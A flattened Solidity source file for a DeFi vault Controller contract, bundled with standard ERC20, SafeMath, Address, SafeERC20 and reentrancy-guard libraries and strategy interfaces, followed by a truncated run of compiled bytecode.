`revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// src/lib/erc20.sol // File: contracts/GSN/Context.sol /* pragma solidity ^0.6.0; */ /* import "./safe-math.sol"; */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// src/interfaces/vault.sol /* pragma solidity ^0.6.2; */ /* import "../lib/erc20.sol"; */ interface IVault is IERC20 { function token() external view returns (address); function claimInsurance() external; // NOTE: Only yDelegatedVault implements this function getRatio() external view returns (uint256); function deposit(uint256) external; function withdraw(uint256) external; function earn() external; } ////// src/interfaces/onesplit.sol /* pragma solidity ^0.6.2; */ interface OneSplitAudit { function getExpectedReturn( address fromToken, address toToken, uint256 amount, uint256 parts, uint256 featureFlags ) external view returns (uint256 returnAmount, uint256[] memory distribution); function swap( address fromToken, address toToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 featureFlags ) external payable; } ////// src/interfaces/strategy-converter.sol /* pragma solidity ^0.6.2; */ interface IStrategyConverter { function convert( address _refundExcess, // address to send the excess amount when adding liquidity address _fromWant, address _toWant, uint256 _wantAmount ) external returns (uint256); } ////// src/interfaces/strategy.sol /* pragma solidity ^0.6.2; */ interface IStrategy { function want() external view returns (address); function deposit() external; function withdraw(address) external; function withdraw(uint256) external; function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function freeWithdraw(uint256 _amount) external; function harvest() external; } ////// src/lib/reentrancy-guard.sol /* pragma solidity ^0.6.0; */ /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } ////// src/controller-v2.sol // https://github.com/iearn-finance/jars/blob/master/contracts/controllers/StrategyControllerV1.sol /* pragma solidity ^0.6.7; */ /* import "./interfaces/controller.sol"; */ /* import "./lib/reentrancy-guard.sol"; */ /* import "./lib/erc20.sol"; */ /* import "./lib/safe-math.sol"; */ /* import "./interfaces/vault.sol"; */ /* import "./interfaces/onesplit.sol"; */ /* import "./interfaces/strategy.sol"; */ /* import "./interfaces/converter.sol"; */ /* import "./interfaces/strategy-converter.sol"; */ contract Controller is ReentrancyGuard { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant burn = 0x000000000000000000000000000000000000dEaD; address public onesplit = 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E; address public governance; address public strategist; address public timelock; // community fund address public comAddr; // development fund address public devAddr; // burn or repurchase address public burnAddr; mapping(address => address) public vaults; mapping(address => address) public strategies; mapping(address => mapping(address => address)) public converters; mapping(address => mapping(address => address)) public strategyConverters; mapping(address => mapping(address => bool)) public approvedStrategies; uint256 public split = 500; uint256 public constant max = 10000; constructor( address _governance, address _strategist, address _comAddr, // should be the multisig address _devAddr, address _burnAddr, //should be the multisig address _timelock ) public { governance = _governance; strategist = _strategist; comAddr = _comAddr; devAddr = _devAddr; burnAddr = _burnAddr; timelock = _timelock; } function setComAddr(address _comAddr) public { require(msg.sender == governance, "!governance"); comAddr = _comAddr; } function setDevAddr(address _devAddr) public { require(msg.sender == governance || msg.sender == devAddr, "!governance"); devAddr = _devAddr; } function setBurnAddr(address _burnAddr) public { require(msg.sender == governance, "!governance"); burnAddr = _burnAddr; } function setStrategist(address _strategist) public { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setSplit(uint256 _split) public { require(msg.sender == governance, "!governance"); split = _split; } function setOneSplit(address _onesplit) public { require(msg.sender == governance, "!governance"); onesplit = _onesplit; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setVault(address _token, address _vault) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); require(vaults[_token] == address(0), "vault"); vaults[_token] = _vault; } function approveStrategy(address _token, address _strategy) public { require(msg.sender == timelock, "!timelock"); approvedStrategies[_token][_strategy] = true; } function revokeStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = false; } function setConverter( address _input, address _output, address _converter ) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); converters[_input][_output] = _converter; } function setStrategyConverter( address[] memory stratFrom, address[] memory stratTo, address _stratConverter ) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); for (uint256 i = 0; i < stratFrom.length; i++) { for (uint256 j = 0; j < stratTo.length; j++) { strategyConverters[stratFrom[i]][stratTo[j]] = _stratConverter; } } } function setStrategy(address _token, address _strategy) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); require(approvedStrategies[_token][_strategy] == true, "!approved"); address _current = strategies[_token]; if (_current != address(0)) { IStrategy(_current).withdrawAll(); } strategies[_token] = _strategy; } function earn(address _token, uint256 _amount) public { address _strategy = strategies[_token]; address _want = IStrategy(_strategy).want(); if (_want != _token) { address converter = converters[_token][_want]; IERC20(_token).safeTransfer(converter, _amount); _amount = Converter(converter).convert(_strategy); IERC20(_want).safeTransfer(_strategy, _amount); } else { IERC20(_token).safeTransfer(_strategy, _amount); } IStrategy(_strategy).deposit(); } function balanceOf(address _token) external view returns (uint256) { return IStrategy(strategies[_token]).balanceOf(); } function withdrawAll(address _token) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); IStrategy(strategies[_token]).withdrawAll(); } function inCaseTokensGetStuck(address _token, uint256 _amount) public { require( msg.sender == strategist || msg.sender == governance, "!governance" ); IERC20(_token).safeTransfer(msg.sender, _amount); } function inCaseStrategyTokenGetStuck(address _strategy, address _token) public { require( msg.sender == strategist || msg.sender == governance, "!governance" ); IStrategy(_strategy).withdraw(_token); } function getExpectedReturn( address _strategy, address _token, uint256 parts ) public view returns (uint256 expected) { uint256 _balance = IERC20(_token).balanceOf(_strategy); address _want = IStrategy(_strategy).want(); (expected,) = OneSplitAudit(onesplit).getExpectedReturn( _token, _want, _balance, parts, 0 ); } // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield function yearn( address _strategy, address _token, uint256 parts ) public { require( msg.sender == strategist || msg.sender == governance, "!governance" ); // This contract should never have value in it, but just incase since this is a public call uint256 _before = IERC20(_token).balanceOf(address(this)); IStrategy(_strategy).withdraw(_token); uint256 _after = IERC20(_token).balanceOf(address(this)); if (_after > _before) { uint256 _amount = _after.sub(_before); address _want = IStrategy(_strategy).want(); uint256[] memory _distribution; uint256 _expected; _before = IERC20(_want).balanceOf(address(this)); IERC20(_token).safeApprove(onesplit, 0); IERC20(_token).safeApprove(onesplit, _amount); (_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0); OneSplitAudit(onesplit).swap( _token, _want, _amount, _expected, _distribution, 0 ); _after = IERC20(_want).balanceOf(address(this)); if (_after > _before) { _amount = _after.sub(_before); uint256 _reward = _amount.mul(split).div(max); earn(_want, _amount.sub(_reward)); IERC20(_want).safeTransfer(comAddr, _reward); } } } function withdraw(address _token, uint256 _amount) public { require(msg.sender == vaults[_token], "!vault"); IStrategy(strategies[_token]).withdraw(_amount); } // Swaps between vaults // Note: This is supposed to be called // by a user if they'd like to swap between vaults w/o the 0.5% fee function userSwapVault( address _fromToken, address _toToken, uint256 _pAmount // Pickling token amount to convert ) public nonReentrant returns (uint256) { address _fromVault = vaults[_fromToken]; address _toVault = vaults[_toToken]; address _fromStrategy = strategies[_fromToken]; address _toStrategy = strategies[_toToken]; address _strategyConverter = strategyConverters[_fromStrategy][_toStrategy]; require(_strategyConverter != address(0), "!strategy-converter"); // 1. Transfers bVault tokens from msg.sender IVault(_fromVault).transferFrom(msg.sender, address(this), _pAmount); // 2. Get amount of tokens to transfer from strategy to burn // Note: this token amount is the LP token uint256 _fromTokenAmount = IVault(_fromVault).getRatio().mul(_pAmount).div( 1e18 ); // If we don't have enough funds in the strategy // We'll deposit funds from the vault to the strategy // Note: This assumes that no single person is responsible // for 100% of the liquidity. // If this a single person is 100% responsible for the liquidity // we can simply set min = max in vaults if (IStrategy(_fromStrategy).balanceOf() < _fromTokenAmount) { IVault(_fromVault).earn(); } // 3. Withdraw tokens from strategy and burns pToken IVault(_fromVault).transfer(burn, _pAmount); IStrategy(_fromStrategy).freeWithdraw(_fromTokenAmount); // 4. Converts to Token IERC20(_fromToken).approve(_strategyConverter, _fromTokenAmount); IStrategyConverter(_strategyConverter).convert( msg.sender, _fromToken, _toToken, _fromTokenAmount ); // 5. Deposits into BFTVault uint256 _toTokenAmount = IERC20(_toToken).balanceOf(address(this)); IERC20(_toToken).approve(_toVault, _toTokenAmount); IVault(_toVault).deposit(_toTokenAmount); // 6. Sends msg.sender all the btf vault tokens uint256 _retPAmount = IVault(_toVault).balanceOf(address(this)); IVault(_toVault).transfer( msg.sender, _retPAmount ); return _retPAmount; } }
0x608060405234801561001057600080fd5b50600436106102925760003560e01c8063a1578b6a11610160578063c7b9d530116100d8578063e4f2494d1161008c578063f712adbb11610071578063f712adbb14610a13578063f765417614610a1b578063fa09e63014610a2357610292565b8063e4f2494d1461099f578063f3fef3a3146109da57610292565b8063d246d411116100bd578063d246d41114610987578063d33219b41461098f578063da09c72c1461099757610292565b8063c7b9d5301461090f578063ccd063181461094257610292565b8063b02bf4b91161012f578063c279df4b11610114578063c279df4b14610858578063c494448e1461089b578063c6d758cb146108d657610292565b8063b02bf4b9146107ec578063bdacb3031461082557610292565b8063a1578b6a1461072f578063a622ee7c1461077e578063a637558d146107b1578063ab033ea9146107b957610292565b80635aa6e6751161020e57806370a08231116101c257806372cb5d97116101a757806372cb5d971461068e5780637ab685c9146106c95780638da1df4d146106fc57610292565b806370a0823114610620578063714ccf7b1461065357610292565b80636ac5db19116101f35780636ac5db19146105905780636dcd64e5146105aa5780636ebb64a2146105ed57610292565b80635aa6e6751461056b578063674e694f1461057357610292565b806339ebf823116102655780634cb045701161024a5780634cb04570146103b6578063586905c5146104f5578063590bbb601461053057610292565b806339ebf8231461037b57806344df8e70146103ae57610292565b806304209f48146102975780631910f3bf146102dc578063197baa6d1461030f5780631fe4a6861461034a575b600080fd5b6102da600480360360608110156102ad57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610a56565b005b6102da600480360360208110156102f257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166111f3565b6102da6004803603604081101561032557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166112c0565b6103526113ed565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6103526004803603602081101561039157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611409565b610352611431565b6102da600480360360608110156103cc57600080fd5b8101906020810181356401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561046b57600080fd5b82018360208201111561047d57600080fd5b8035906020019184602083028401116401000000008311171561049f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050903573ffffffffffffffffffffffffffffffffffffffff1691506114379050565b6103526004803603604081101561050b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166115d0565b6102da6004803603604081101561054657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611603565b6103526116e5565b6102da6004803603602081101561058957600080fd5b5035611701565b61059861178c565b60408051918252519081900360200190f35b610598600480360360608110156105c057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135611792565b6102da6004803603602081101561060357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611a4d565b6105986004803603602081101561063657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611b3c565b6102da6004803603604081101561066957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611be6565b6102da600480360360408110156106a457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611d75565b6102da600480360360208110156106df57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611fba565b6102da6004803603602081101561071257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612087565b61076a6004803603604081101561074557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516612154565b604080519115158252519081900360200190f35b6103526004803603602081101561079457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612174565b61035261219c565b6102da600480360360208110156107cf57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166121b8565b6102da6004803603604081101561080257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135612285565b6102da6004803603602081101561083b57600080f